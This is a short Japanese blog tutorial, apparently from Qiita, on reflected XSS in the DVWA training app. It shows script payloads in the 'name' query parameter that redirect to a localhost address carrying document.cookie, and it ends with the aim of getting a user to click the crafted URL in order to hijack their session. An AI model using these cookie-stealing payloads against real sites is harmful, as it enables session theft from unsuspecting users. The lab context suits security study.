0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

DVWAでXSS(reflected)

Posted at

前提

目標

  • xssでセッションを奪取する

手順概要

  • xssの可否チェック
  • cookieが取れるか確認する
  • 別のドメインへcookieを飛ばす

内容

xssとは

  • クロスサイトスクリプティングの略称
  • scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
  • 今回の場合はinputデータに用いるクエリを利用し不正URLを作成。その後、ユーザーに押させる想定。

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

-- XSS(reflected)にアクセスする(左メニューにある)

image.png

XSS開始

  • 挙動を確認する
    • 何か文字を入れてみると、「hello 入力値」が表示される。あと、urlのクエリに入力値が乗っかることが分かった。

image.png

  • リダイレクトさせるスクリプトを埋め込んでみる
    • 下記スクリプトをnameクエリに埋め込み実行する。
    • スクリプトは埋め込めているが、実行はされない。
a<script>window.location = "http://localhost?hisCookie="+document.cookie</script>a

image.png

  • ちょっと工夫してみる
    • クエリを以下に変更してみる。
    • 配列をjoin()したのは+では上手く読み込めなかったから
<script>
window.addEventListener("onload",e=>{
window.location = ["http://localhost?k=",document.cookie].join("")
});
</script>
# before
?name=a<script>window.location = "http://localhost?hisCookie="+document.cookie</script>a
# after
?name=and Welcome!<script>window.addEventListener("load",e=>
window.location = ["http://localhost?k=",document.cookie].join("")
)</script>

image.png

後は、このurlをユーザーに押させるだけ。
おわり

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?